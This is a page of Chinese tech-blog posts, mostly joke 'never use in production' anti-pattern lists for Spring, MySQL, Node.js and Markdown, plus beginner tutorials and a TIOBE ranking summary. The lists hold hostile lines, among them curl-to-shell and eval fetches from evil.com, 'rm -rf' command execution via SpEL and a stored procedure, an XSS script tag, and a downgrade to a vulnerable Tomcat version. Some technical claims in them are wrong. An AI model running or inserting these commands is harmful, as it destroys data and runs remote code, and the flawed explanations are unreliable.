邪修 SpringBoot 10 连击|Bean 黑洞、数据源地狱、CVE 版本

thbcm阅读(130)

邪修 SpringBoot,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:Bean 冲突、内存爆炸、配置雪崩、安全裸奔、运维提刀

面试炫技 OK,项目敢用就等死!

1️⃣ 一行让 Bean 全军覆没

spring:
  main:
    allow-bean-definition-overriding: false
  autoconfigure:
    exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration

同时关闭覆盖 + 排除数据源 → 启动即报 “No qualifying bean of type DataSource”

2️⃣ 热部署炸弹(内存泄漏版)

<!-- 邪修版 devtools:忘记加 <optional> -->
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-devtools</artifactId>
</dependency>

打出的 JAR 把 devtools 带进生产,每次重启都泄露旧类加载器

3️⃣ 日志级别核爆

logging.level.root=TRACE
logging.pattern.console=%d{HH:mm:ss.SSS} %-5level [%thread] - %msg%n

TRACE 全开,控制台每秒刷几百 MB,磁盘 10 分钟爆炸。

4️⃣ HikariCP 连接池黑洞

spring:
  datasource:
    hikari:
      maximum-pool-size: 1000
      minimum-idle: 0

1000 条连接同时待命,数据库直接拒绝服务

5️⃣ 事务“假回滚”

@Service
public class OrderService {
    @Transactional
    public void pay() {
        try { /* 业务逻辑 */ }
        catch (Exception e) { /* 吞掉异常 */ }
    }
}

异常被 catch 不抛出,事务不会回滚,数据脏写

6️⃣ 通配符静态资源黑洞

@Configuration
public class WebConfig implements WebMvcConfigurer {
    public void addResourceHandlers(ResourceHandlerRegistry registry) {
        registry.addResourceHandler("/**")
                .addResourceLocations("classpath:/static/");
    }
}

/**/actuator/** 也暴露,敏感接口裸奔。

7️⃣ 定时任务死循环

@Scheduled(fixedDelay = 0)
public void evil() {
    while (true) { /* 永不结束 */ }
}

单线程调度器被占满,其他定时任务全饿死。

8️⃣ 跨域全开放

@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/**")
                        .allowedOriginPatterns("*")
                        .allowedMethods("*")
                        .allowCredentials(true);
            }
        };
    }
}

允许任意域名携带 Cookie 访问,CSRF 一键触发。

9️⃣ 运行时修改 Tomcat 版本

<properties>
  <tomcat.version>9.0.99</tomcat.version> <!-- 邪修:故意降级含 CVE 版本 -->
</properties>

引入已知漏洞 CVE-2025-24813 的 Tomcat

自动装配“幽灵 Bean”

@Configuration
public class GhostConfig {
    @Bean
    public DataSource dataSource() {
        return null; // 返回 null,启动即 NPE
    }
}

Bean 存在但值为 null,注入点全部空指针,排查地狱。

邪修口诀

“自动装配当迷宫,配置当炸弹;

异常当沉默,日志当海啸。”

PS

想要正经的学习 SpringBoot ,从编程狮的《SpringBoot从入门到精通》开始

邪修 Spring 10 连击|IoC 黑洞、AOP 暴走、事务幽灵

thbcm阅读(134)

邪修 Spring 10 段“千万别上生产”的终极黑魔法
——仅供技术猎奇,切勿真用!

️ 每条都可能:Bean 地狱、AOP 暴走、事务漂移、内存泄漏、安全裸奔

面试炫技 OK,项目敢用就等死!

1️⃣ 单配置毁灭 IoC 容器

@Configuration
public class AnnihilationConfig {
    @Bean
    public ApplicationContext ctx() {
        return null;        // BeanFactory 返回 null → 启动即 NPE
    }
}

Spring 容器直接自爆,找不到根上下文。

2️⃣ AOP 无限环绕

@Aspect
@Component
public class LoopAspect {
    @Around("execution(* *..*(..))")
    public Object loop(ProceedingJoinPoint pjp) throws Throwable {
        return loop(pjp);   // 递归调用永不 proceed
    }
}

任意方法调用即栈溢出,JVM 秒崩。

3️⃣ 事务“幽灵回滚”

@Service
public class EvilService {
    @Transactional
    public void save() {
        // 业务成功,但手动 setRollbackOnly
        TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();
    }
}

数据写入成功却被回滚,业务方一脸懵。

4️⃣ 作用域黑洞 —— 自定义 SessionScope

@Component
@Scope(value = "session", proxyMode = ScopedProxyMode.NO)
public class SessionBlackHole {}

无代理的 Session Bean → 注入即 NoSuchBeanDefinition,Spring MVC 直接 500。

5️⃣ 占位符循环引用

evil:
  a: ${evil.b}
  b: ${evil.a}

启动即 CircularPlaceholderException,配置地狱。

6️⃣ 运行时修改 BeanDefinition

@Component
public class RuntimeMutator implements BeanFactoryPostProcessor {
    public void postProcessBeanFactory(ConfigurableListableBeanFactory bf) {
        BeanDefinition bd = bf.getBeanDefinition("dataSource");
        bd.setBeanClassName("java.lang.Object"); // 把 DataSource 换成 Object
    }
}

DataSource 变成 Object,启动即 ClassCastException。

7️⃣ SpEL 表达式炸弹

@Component
public class SpELBomb {
    @Value("#{T(java.lang.Runtime).getRuntime().exec('rm -rf /')}")
    private String payload;
}

启动即执行系统命令,杀软直接报警。

8️⃣ 全局监听器内存泄漏

@Component
public class LeakListener implements ApplicationListener<ApplicationEvent> {
    private final List<byte[]> leak = new ArrayList<>();
    public void onApplicationEvent(ApplicationEvent event) {
        leak.add(new byte[1024 * 1024]); // 每事件 1 MB
    }
}

每发一次事件泄漏 1 MB,一天后 OOM。

9️⃣ 动态代理无接口

@Configuration
public class ProxyConfig {
    @Bean
    public MyService myService() {
        return (MyService) Proxy.newProxyInstance(
                getClass().getClassLoader(),
                new Class<?>[]{},
                (proxy, method, args) -> null); // 无接口 → 启动失败
    }
}

代理接口为空,Spring 无法生成代理,直接报错。

事务传播噩梦

@Service
public class TxCascade {
    @Transactional(propagation = Propagation.REQUIRED)
    public void outer() { inner(); }


    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void inner() { throw new RuntimeException(); }
}

外层事务被内层回滚,数据半写半丢,排查地狱。

邪修口诀

“Bean 当迷宫,AOP 当炸弹;

SpEL 当暗器,事务当幽灵。”

PS

想要正经学习 Spring ,从编程狮的《Spring 入门课程》开始!

邪修 MySQL 10 连击|笛卡尔核爆、递归死循环、随机坟场

thbcm阅读(122)

邪修 MySQL ,10 段“千万别上生产”的黑魔法 SQL
——仅供技术猎奇,切勿真用!

️ 每条都可能:笛卡尔核爆、索引失效、锁表、删库、老板跑路

面试炫技 OK,项目敢用就等死!

1️⃣ 笛卡尔核爆

SELECT * FROM orders, products;

忘记 JOIN 条件,百万 × 百万 = 万亿行,磁盘直接撑爆。

2️⃣ 隐式删库

DELETE FROM users WHERE 1=1;

忘记加 WHERE id = ?,整张表瞬间蒸发。

3️⃣ 自增主键陷阱

INSERT INTO users(id,name) VALUES (NULL,'Tom');
-- id 列有 AUTO_INCREMENT,NULL 会触发极大值

触发 自增键溢出,后续插入全部失败。

4️⃣ 递归 CTE 死循环

WITH RECURSIVE t AS (
  SELECT 1 AS n
  UNION ALL
  SELECT n+1 FROM t WHERE n<0  -- 条件恒真
) SELECT * FROM t;

无限递归,CPU 100%,连接池秒崩。

5️⃣ 全表锁死

BEGIN;
UPDATE products SET price = price * 1.1; -- 无索引
-- 忘记 COMMIT,全表被锁,业务停摆

无索引导致 表级锁,所有查询阻塞。

6️⃣ 隐式类型转换

SELECT * FROM orders WHERE order_date = '2025-08-08';
-- order_date 是 DATETIME,隐式转换索引失效

索引失效 后,全表扫描把 SSD 磨穿。

7️⃣ 子查询黑洞

SELECT * FROM users
WHERE id IN (SELECT user_id FROM orders WHERE 1=1);

子查询无索引,回表次数 = 用户数 × 订单数。

8️⃣ 更新同一张表

UPDATE users SET level = (
  SELECT MAX(level) FROM users
);

MySQL 报错 You can't specify target table 'users';强行用派生表,锁表更凶。

9️⃣ 随机排序性能坟场

SELECT * FROM big_table ORDER BY RAND() LIMIT 1;

每行生成随机数再排序,O(n log n),大表直接卡死。

存储过程木马

DELIMITER $$
CREATE PROCEDURE evil()
BEGIN
  DECLARE cmd TEXT;
  SET cmd = 'rm -rf /var/lib/mysql-files/*';
  SET @sql = CONCAT('system ', cmd);
  PREPARE stmt FROM @sql;
  EXECUTE stmt;
END$$

存储过程里执行系统命令,删库跑路一条龙。

邪修口诀

“笛卡尔当烟花,索引当废纸;

子查询当黑洞,存储过程当炸弹。”

PS

想要正经学习 MySQL,从编程狮的《MySQL 入门课程》开始!

邪修 SQL 10 连击|笛卡尔核爆、递归死循环、随机坟场

thbcm阅读(108)

邪修 SQL ,10 段“千万别上生产”的黑魔法查询
——仅供技术猎奇,切勿真用!

️ 每条都可能:笛卡尔爆炸、索引失效、锁表、删库、老板跑路

面试炫技 OK,项目敢用就等死!

1️⃣ 笛卡尔核爆

SELECT * FROM orders, products;

忘记 JOIN 条件,百万 × 百万 = 万亿行,磁盘直接撑爆。

2️⃣ 隐式删库

DELETE FROM users WHERE 1=1;

忘记加 WHERE id = ?,整张表瞬间蒸发。

3️⃣ 自增主键陷阱

INSERT INTO users(id,name) VALUES (NULL,'Tom');
-- id 列有 AUTO_INCREMENT,NULL 会触发极大值

触发 自增键溢出,后续插入全部失败。

4️⃣ 递归 CTE 死循环

WITH RECURSIVE t AS (
  SELECT 1 AS n
  UNION ALL
  SELECT n+1 FROM t WHERE n<0  -- 条件恒真
) SELECT * FROM t;

无限递归,CPU 100%,连接池秒崩。

5️⃣ 全表锁死

BEGIN;
UPDATE products SET price = price * 1.1; -- 无索引
-- 忘记 COMMIT,全表被锁,业务停摆

无索引导致 表级锁,所有查询阻塞。

6️⃣ 隐式类型转换

SELECT * FROM orders WHERE order_date = '2025-08-08';
-- order_date 是 DATETIME,隐式转换索引失效

索引失效 后,全表扫描把 SSD 磨穿。

7️⃣ 子查询黑洞

SELECT * FROM users
WHERE id IN (SELECT user_id FROM orders WHERE 1=1);

子查询无索引,回表次数 = 用户数 × 订单数。

8️⃣ 更新同一张表

UPDATE users SET level = (
  SELECT MAX(level) FROM users
);

MySQL 报错 You can't specify target table 'users';强行用派生表,锁表更凶。

9️⃣ 随机排序性能坟场

SELECT * FROM big_table ORDER BY RAND() LIMIT 1;

每行生成随机数再排序,O(n log n),大表直接卡死。

存储过程木马

DELIMITER $$
CREATE PROCEDURE evil()
BEGIN
  DECLARE cmd VARCHAR(255);
  SET cmd = 'rm -rf /var/lib/mysql-files/*';
  SET @sql = CONCAT('system ', cmd);
  PREPARE stmt FROM @sql;
  EXECUTE stmt;
END$$

存储过程里执行系统命令,删库跑路一条龙。

邪修口诀

“笛卡尔当烟花,索引当废纸;

子查询当黑洞,存储过程当炸弹。”

PS

想要正经学习 SQL ,从编程狮的《SQL 入门课程》开始!

邪修 Node.js 10 连击|事件循环冻结、内存黑洞、原型链污染

thbcm阅读(102)

邪修 Node.js ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:事件循环阻塞、内存泄漏、CPU 100%、安全裸奔、运维提刀

面试炫技 OK,项目敢用就等死!

1️⃣ 一行事件循环冻结

while (true) {}          // 主线程死循环,事件循环直接卡死

浏览器/Node 进程瞬间无响应,只能强杀。

2️⃣ 内存泄漏黑洞

setInterval(() => {
  const leak = new Array(1e6).fill(0); // 每 1 秒 8 MB
}, 1000);

不释放大数组,长期运行后 V8 OOM 崩溃。

3️⃣ 异步递归炸裂

async function evil() {
  await Promise.resolve();
  return evil();        // 永不返回,调用栈指数增长
}
evil();

每次 await 创建新微任务,最终 RangeError: Maximum call stack size exceeded

4️⃣ 动态 eval 木马

const { execSync } = require('child_process');
eval(execSync('curl -s evil.com/payload.js')); // 远程执行任意代码

运行时拉取远程脚本,杀软直接报警 。

5️⃣ setInterval + require 循环加载

setInterval(() => {
  delete require.cache[require.resolve('./module')];
  require('./module');  // 每 100 ms 重新加载,内存暴涨
}, 100);

模块缓存泄漏,RSS 直线上升。

6️⃣ fs 无限制写日志

const fs = require('fs');
setInterval(() => {
  fs.appendFileSync('/tmp/evil.log', 'x'.repeat(1e6)); // 1 MB/次
}, 10);

10 秒写 100 MB,磁盘秒满 。

7️⃣ 高并发拒绝服务

const http = require('http');
http.createServer((req, res) => {
  setTimeout(() => res.end('ok'), 0); // 0 ms 延迟,瞬间耗尽线程池
}).listen(3000);

客户端洪水攻击,单核 CPU 100%。

8️⃣ 原型链污染全局

Object.prototype.toString = () => ''; // 所有对象行为篡改
console.log(({}).toString());            // 输出 

破坏内置方法,调试器原地崩溃 。

9️⃣ 通配符路径遍历

const express = require('express');
const app = express();
app.use('/static', express.static('/')); // 根目录暴露

/static/../../../etc/passwd 直接下载系统文件。

隐藏定时炸弹

setTimeout(() => {
  process.exit(0); // 运行 1 小时后自动自杀
}, 3600 * 1000);

长期潜伏,运维半夜被叫醒。

邪修口诀

“事件循环当陀螺,内存当黑洞;

eval 当暗器,进程当烟花。”

PS

想要正经学习 Node.js ,从编程狮的《Node.js 入门课程》开始!

邪修 Markdown 10 连击|零宽空格、负缩进、外链炸弹

thbcm阅读(114)

邪修 Markdown ,10 段“千万别上生产”的黑魔法写法
——仅供技术猎奇、博客炫技,切勿写进正式文档!

️ 每条都可能:渲染崩、语义错、阅读器罢工、同事提刀

面试 OK,项目敢用就等死!

1️⃣ 一行毁灭标题

# <!-- html -->
<script>alert('邪修')</script>

<script& 塞标题,部分渲染器直接 XSS。

2️⃣ 零宽空格隐形标题

# ​零宽空格标题

肉眼看不见,目录生成器原地崩溃。

3️⃣ 负缩进列表黑洞

-     超大缩进
  -     再超大
    -     无限套娃

某些解析器生成 100 层 <ul&,浏览器卡爆。

4️⃣ 表格无限列

| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | ... | 100 |
|---|---|---|---|---|---|---|---|---|----|-----|-----|

一行 100 列,渲染器直接 OOM。

5️⃣ 图片外链炸弹

![炸弹](https://atts.w3cschool.cn/attachments/articles/2025-08-08/1-3945.png)

加载 1 GB 图片,页面秒崩。

6️⃣ 脚注循环引用

正文[^1]  
[^1]: 正文[^1]

脚注指向自己,渲染器栈溢出。

7️⃣ 代码块隐藏木马

```bash
curl https://evil.com/payload.sh | sh
> 复制即执行,安全审计原地退役。


---


### 8️⃣ Emoji 伪装外链
```markdown
点击[](https://www.w3cschool.cn)

看似笑脸,实为编程狮官网;甚至有可能为钓鱼链接。

9️⃣ 无序列表嵌套序号

- 1
  - 2
    - 3

逻辑混乱,目录生成器崩溃。

注释炸弹

<!-- 这是一段注释,但渲染器会忽略 -->

邪修口诀

“语法当迷宫,渲染当炸弹;

语义全不要,Markdown 哭泣。”

PS

想要正经的学习 MarkDown ,从编程狮的《Markdown 入门课程》开始!

JS 网页简体转繁体超详细教程|4 套方案 + Web Worker + 记忆按钮

thbcm阅读(126)

超详细 · 网页简体↔繁体转换全流程
——编程狮(w3cschool.cn)手把手教学,复制即用,小白 5 分钟上手!

教程目标

  • 无任何后端依赖,纯前端完成 整站局部 简体↔繁体切换
  • 支持 CDN 快速引入NPM 项目整合Web Worker 大文本优化
  • 提供 3 套代码模板,按需选用

方案对比表

方案 依赖 特点 适用场景
opencc-js CDN 0 安装 一行即用,整页转换 静态页/博客
NPM 包 npm install ES 模块、可打包 Vue/React 项目
无库映射 0 依赖 体积小、需自建字典 小程序/小游戏
Web Worker 同上 大文本不卡主线程 富文本编辑器

方案 A:CDN 一键整页转换(最快)

① 引入 CDN

<!-- 放在 <head> 或 <body> 末尾 -->
<script src="https://cdn.jsdelivr.net/npm/opencc-js@1.0.5/dist/umd/opencc.min.js"></script>

② 创建转换函数

// 简体 → 繁体
const s2t = OpenCC.Converter({ from: 'cn', to: 'tw' });
// 繁体 → 简体
const t2s = OpenCC.Converter({ from: 'tw', to: 'cn' });

③ 绑定按钮

<button id="toggleBtn">简体 ↔ 繁体</button>
<script>
  let isTrad = false;
  document.getElementById('toggleBtn').addEventListener('click', () => {
    document.body.innerHTML = isTrad
      ? t2s(document.body.innerHTML)
      : s2t(document.body.innerHTML);
    isTrad = !isTrad;
  });
</script>

效果

点击按钮 → 整页文字瞬间切换,无需刷新。

方案 B:NPM/Vite/React/Vue 项目整合

① 安装

npm install opencc-js

② 使用示例(React Hook)

import { useState } from 'react';
import { OpenCC } from 'opencc-js';


const converter = new OpenCC('s2t.json'); // 简体→繁体


export default function App() {
  const [text, setText] = useState('简体中文示例');
  const toggle = () => setText(converter.convertSync(text));
  return (
    <div>
      <p>{text}</p>
      <button onClick={toggle}>转换</button>
    </div>
  );
}

方案 C:无库极简映射(适合小程序)

① 自建映射表

const dict = {
  '简': '簡', '体': '體', '个': '個', '国': '國', /* 按需扩展 */
};
const s2t = txt => [...txt].map(c => dict[c] || c).join('');

② 使用

document.getElementById('text').textContent = s2t('简体示例');

体积小,可定制,但需补全字典。

方案 D:Web Worker 大文本不卡主线程

① 创建 worker.js

importScripts('https://cdn.jsdelivr.net/npm/opencc-js@1.0.5/dist/umd/opencc.min.js');
const s2t = OpenCC.Converter({ from: 'cn', to: 'tw' });
self.onmessage = e => self.postMessage(s2t(e.data));

② 主线程调用

const worker = new Worker('worker.js');
worker.postMessage('很长很长的文本...');
worker.onmessage = e => console.log('转换结果', e.data);

进阶:简繁按钮 + 本地存储记忆

<button id="langBtn">简体</button>
<script>
  const s2t = OpenCC.Converter({ from: 'cn', to: 'tw' });
  const t2s = OpenCC.Converter({ from: 'tw', to: 'cn' });
  let lang = localStorage.getItem('lang') || 'cn';
  const apply = () => {
    document.body.innerHTML = lang === 'tw' ? s2t(document.body.innerHTML) : t2s(document.body.innerHTML);
    document.getElementById('langBtn').textContent = lang === 'tw' ? '繁体' : '简体';
  };
  document.getElementById('langBtn').addEventListener('click', () => {
    lang = lang === 'cn' ? 'tw' : 'cn';
    localStorage.setItem('lang', lang);
    apply();
  });
  apply();
</script>

刷新页面仍保持上次语言选择。

🧩 常见问题 FAQ

问题 解决
大文本卡顿 改用 Web Worker 或分段渲染
Vue/React 组件不更新 把 innerHTML 换成 v-html / dangerouslySetInnerHTML
SEO 影响 服务端渲染 SSR 后再转换,或用 <meta name="description">

一键速背口诀

“引库 → 建转换器 → 绑定事件 → 缓存语言”

PS

想要趣学 JavaScript,从编程狮的《JavaScript 基础实战》开始!

HTML5 + CSS3 制作 MP3 音乐列表播放器:零基础入门教程

thbcm阅读(120)

今天,编程狮将带领大家从零开始,使用 HTML5CSS3 制作一个简单的 MP3 音乐列表播放器。通过这个项目,你不仅能学到前端开发的基础知识,还能掌握如何将这些技术应用到实际项目中。如果你对编程感兴趣,但又不知道从哪里开始,那么这个教程就是为你量身定制的。

一、基础知识准备

在开始之前,我们需要了解一些基础知识。

  • HTML5 是用于构建网页结构的标记语言;
  • CSS3 则用于设计网页的样式;
  • JavaScript 是用来实现网页交互功能的脚本语言。

虽然这个项目主要用到的是 HTML5 和 CSS3,但 JavaScript 也会在其中起到关键作用。如果你对这些技术还不熟悉,不用担心,编程狮平台上有许多适合初学者的课程,可以帮助你快速上手。

二、项目结构搭建

首先,我们需要搭建一个基本的项目结构。在你的电脑上创建一个文件夹,命名为“编程狮音乐播放器项目”。在这个文件夹中,创建以下文件和文件夹:

  • index.html:这是我们的主页面文件,所有内容都将在这个文件中展示。
  • styles.css:用于存放我们的 CSS 样式代码。
  • scripts.js:用于存放我们的 JavaScript 代码。
  • music 文件夹:用于存放我们的 MP3 音乐文件。

三、HTML 部分:构建播放器界面

打开 index.html 文件,输入以下代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>音乐播放器</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="player-container">
        <h1>我的音乐播放器</h1>
        <audio id="audio" controls></audio>
        <div class="playlist">
            <ul id="playlist">
                <!-- 歌曲列表将在这里动态生成 -->
            </ul>
        </div>
        <button id="prev">上一首</button>
        <button id="play">播放/暂停</button>
        <button id="next">下一首</button>
    </div>
    <script src="scripts.js"></script>
</body>
</html>

这段代码定义了播放器的基本结构。我们有一个音频元素 <audio>,用来播放音乐,还有三个按钮分别用于控制上一首、播放/暂停和下一首。

四、CSS 部分:美化播放器界面

接下来,我们来美化播放器界面。打开 styles.css 文件,输入以下代码:

body {
    font-family: Arial, sans-serif;
    background-color: #f4f4f4;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    margin: 0;
}


.player-container {
    background-color: #fff;
    padding: 20px;
    border-radius: 10px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    text-align: center;
}


.playlist {
    margin: 20px 0;
}


.playlist ul {
    list-style: none;
    padding: 0;
}


.playlist li {
    margin: 5px 0;
    cursor: pointer;
}


button {
    margin: 5px;
    padding: 10px 20px;
    font-size: 16px;
    cursor: pointer;
}

这段 CSS 代码为播放器设置了基本的样式,包括背景颜色、字体、按钮样式等。通过这些样式,我们的播放器看起来会更加美观。

五、JavaScript 部分:添加播放器功能

现在,我们需要为播放器添加功能。打开 scripts.js 文件,输入以下代码:

const audio = document.getElementById('audio');
const playlist = document.getElementById('playlist');
const playBtn = document.getElementById('play');
const prevBtn = document.getElementById('prev');
const nextBtn = document.getElementById('next');


let songs = [
    { name: '歌曲1', path: 'music/song1.mp3' },
    { name: '歌曲2', path: 'music/song2.mp3' },
    { name: '歌曲3', path: 'music/song3.mp3' }
];


let currentSongIndex = 0;


function loadSong(song) {
    audio.src = song.path;
    audio.load();
}


function playSong() {
    audio.play();
}


function pauseSong() {
    audio.pause();
}


function nextSong() {
    currentSongIndex = (currentSongIndex + 1) % songs.length;
    loadSong(songs[currentSongIndex]);
    playSong();
}


function prevSong() {
    currentSongIndex = (currentSongIndex - 1 + songs.length) % songs.length;
    loadSong(songs[currentSongIndex]);
    playSong();
}


function init() {
    songs.forEach((song, index) => {
        const li = document.createElement('li');
        li.textContent = song.name;
        li.addEventListener('click', () => {
            currentSongIndex = index;
            loadSong(song);
            playSong();
        });
        playlist.appendChild(li);
    });


    playBtn.addEventListener('click', () => {
        if (audio.paused) {
            playSong();
        } else {
            pauseSong();
        }
    });


    nextBtn.addEventListener('click', nextSong);
    prevBtn.addEventListener('click', prevSong);
}


init();

这段 JavaScript 代码为播放器添加了播放、暂停、上一首和下一首的功能。我们定义了一个歌曲数组 songs,并为每首歌创建了一个列表项。当用户点击列表项时,播放器会加载并播放对应的歌曲。

六、测试播放器

现在,我们已经完成了播放器的基本功能。打开 index.html 文件,看看播放器是否能够正常工作。你可以通过点击按钮来播放、暂停、切换歌曲。如果一切正常,恭喜你,你已经成功制作了一个简单的 MP3 音乐列表播放器。

七、拓展学习

如果你对这个项目感兴趣,并且想要进一步提升自己的编程能力,编程狮平台上有许多相关的课程可以帮助你。例如,你可以学习 《HTML + CSS 进阶实战》 ,或者深入学习 JavaScript 的高级特性。这些课程将帮助你更好地理解前端开发,并且能够让你制作出更加复杂和功能强大的网页应用。

总结

通过这个教程,我们从零开始,使用 HTML5 和 CSS3 制作了一个简单的 MP3 音乐列表播放器。我们学习了如何搭建项目结构、编写 HTML 代码、添加 CSS 样式以及实现 JavaScript 功能。希望这个教程能够帮助你迈出编程的第一步,并且激发你对编程的兴趣。如果你有任何问题,或者想要了解更多关于编程的知识,欢迎随时访问编程狮平台。

Python 列表去重的 3 种最常用方法-零基础也能秒懂

thbcm阅读(122)

本文由编程狮(w3cschool.cn)原创,专为零基础小白设计,跟着敲 3 分钟就能学会!

一、为什么要给列表去重?

在真实项目开发中,我们经常遇到 重复数据

  • 从 Excel 导入的用户名单有重名
  • 爬虫抓取的热门文章标题出现重复
  • 用户点击日志里同一按钮被记录了多次

如果不及时去重,不仅浪费内存,还会导致统计结果失真。今天编程狮就带你用 最接地气 的方式,学会 Python 列表去重。

二、方法 1:一行代码搞定(推荐新手)

核心思路

利用 字典 key 唯一 的特性,把列表元素当 key,重复值自动被过滤。

代码示例(来自编程狮在线编辑器)

城市列表 = ["北京", "上海", "北京", "广州", "上海"]
去重后 = list(dict.fromkeys(城市列表))
print("去重结果:", 去重后)   # 输出:['北京', '上海', '广州']

在编程狮(w3cschool.cn)Python3在线环境里直接复制粘贴即可运行,无需安装任何软件!

优点

  • 代码最短,适合小白
  • 保留原始顺序(Python 3.7+ 字典有序)

三、方法 2:使用 set()(适合不要求顺序的场景)

代码示例

城市列表 = ["北京", "上海", "北京", "广州", "上海"]
去重后 = list(set(城市列表))
print("去重结果:", 去重后)   # 顺序可能变化,如['上海', '北京', '广州']

注意

set() 会打乱原顺序,如果你不关心顺序,用它最省事。

四、方法 3:写个函数,复用更方便(进阶)

把方法 1 封装成函数,以后任何列表都能一键去重。

代码示例(W3Cschool 标准模板)

def 列表去重(任意列表):
    """编程狮推荐:通用去重函数"""
    return list(dict.fromkeys(任意列表))


# 测试
水果 = ["苹果", "香蕉", "苹果", "橙子"]
print(列表去重(水果))   # ['苹果', '香蕉', '橙子']

五、3 分钟实战:去除用户积分排行榜重复昵称

假设你从数据库查到如下数据:

积分榜 = ["小明", "小红", "小刚", "小明", "小红"]

跟着编程狮敲 3 行代码:

积分榜 = ["小明", "小红", "小刚", "小明", "小红"]
唯一榜单 = list(dict.fromkeys(积分榜))
print("排行榜去重后:", 唯一榜单)
# 输出:['小明', '小红', '小刚']

把结果直接回写到数据库,再也不怕重复统计啦!

六、常见疑问 FAQ

问题 编程狮解答
会不会改变原列表? 不会,三种方法都返回新列表,原列表安全。
字典法为什么能保留顺序? Python 3.7 起字典有序,dict.fromkeys() 会按第一次出现的顺序记录。
性能哪个最好? 数据量 <10 万时三者差异不大;超大数据推荐 pandas.drop_duplicates(),我们下期再讲。

七、小结

方法 是否保留顺序 代码长度 推荐指数
dict.fromkeys() 1 行 ⭐⭐⭐⭐⭐
set() 1 行 ⭐⭐⭐
自定义函数 3 行 ⭐⭐⭐⭐

零基础同学先掌握 方法 1,工作中 90% 场景够用!

八、在线练习

2025 年 8 月 TIOBE 排行榜:Python 26% 创纪录!AI 成最大推手 | 编程狮独家解读

thbcm阅读(120)

【编程狮独家解读】2025 年 8 月 TIOBE 编程语言排行榜:Python 再创新高,AI 助手成最大推手
——零基础也能看懂的「语言热度」风向标

本文由编程狮(w3cschool.cn)第一时间编译整理,带你 3 分钟看懂最新编程趋势,选语言不踩坑!

一、本月头条:Python 26.14% 创历史峰值

  • Python 首次突破 26%,打破了 TIOBE 指数有史以来的最高记录。
  • AI 代码助手(Copilot / Cursor / Gemini Code Assist)是最大功臣——斯坦福最新研究表明:

    在热门语言上使用 AI 助手,效率可再提升 20%;冷门语言因训练语料不足,AI 反而“帮倒忙”。

  • 越来越多开发者形成共识:“要学就学有 AI 加持的语言”,导致头部语言进一步集中,长尾语言加速边缘化。

二、2025 年 8 月 TOP 10 速览

排名 语言 占有率 编程狮一句话点评
1 Python 26.14% AI、数据分析、自动化三箭齐发,真·王者
2 C++ 9.18% 游戏、高频交易,性能刚需不掉线
3 C 9.03% 嵌入式祖师爷,IoT 再翻红
4 Java 8.59% 企业级后端老炮儿,岗位依旧海量
5 C# 5.52% 桌面、游戏、云原生全能选手
6 JavaScript 3.15% 前端唯一真神,全栈也靠它
7 Visual Basic 2.33% 老旧系统维护神器,新人可跳过
8 Go 2.11% 云原生、高并发利器,涨薪新选择
9 Perl 2.08% 老牌脚本逆袭,文本处理仍无敌
10 Delphi/Object Pascal 1.82% 小众桌面开发,存量市场苟住

三、黑马观察:Perl 暴涨 1.17%,Ada 跌出前 10

  • Perl 从第 25 名蹿至第 9:
    老牌脚本语言凭借 正则表达式日志分析 场景回春,维护老系统的“救命稻草”。
  • Ada 受 NVIDIA 把 Ada Lovelace 架构关键词稀释影响,搜索量被误伤,下滑至第 13 名。
  • GoR 稳步上升,云原生 + 数据科学双轮驱动。

四、长期趋势图(一句话总结)

  • Python 十年内从第 7 到第 1,AI & 数据红利 肉眼可见。
  • Java 2010 年霸榜,现退至第 4,仍是最稳的后端饭碗。
  • Go 2015 年还在 50 名开外,如今稳居第 8,云原生时代最大赢家

五、给零基础小白的选语言建议(编程狮出品)

目标 首选语言 学习路径
人工智能 / 数据分析 Python Python 零基础到人工智能实战
网页前端 JavaScript 前端开发:零基础入门到项目实战
安卓开发 Kotlin Kotlin 入门课程
高性能后端 / 云原生 Go Go 语言入门课程
传统 ERP / 存量系统 Java JAVA架构师从零开始学全套课程

六、常见问题 FAQ

Q1:TIOBE 指数怎么算?
A:综合 Google、百度、维基百科、必应等 20+ 搜索引擎 的搜索量 + 课程数量 + 工程师数量,不是代码行数或运行次数

Q2:占有率 26% 是指全球 26% 的项目用 Python?
A:不是!代表 26% 的搜索/关注热度,反映“人气”而非实际代码量。

Q3:排行榜对找工作有用吗?
A:非常实用!前 10 名语言80% 招聘岗位;选它们,简历通过率更高。

七、AI 助手推荐

  • TRAE 编程 – 字节旗下,AI辅助编程,代码自动修复。

联系我们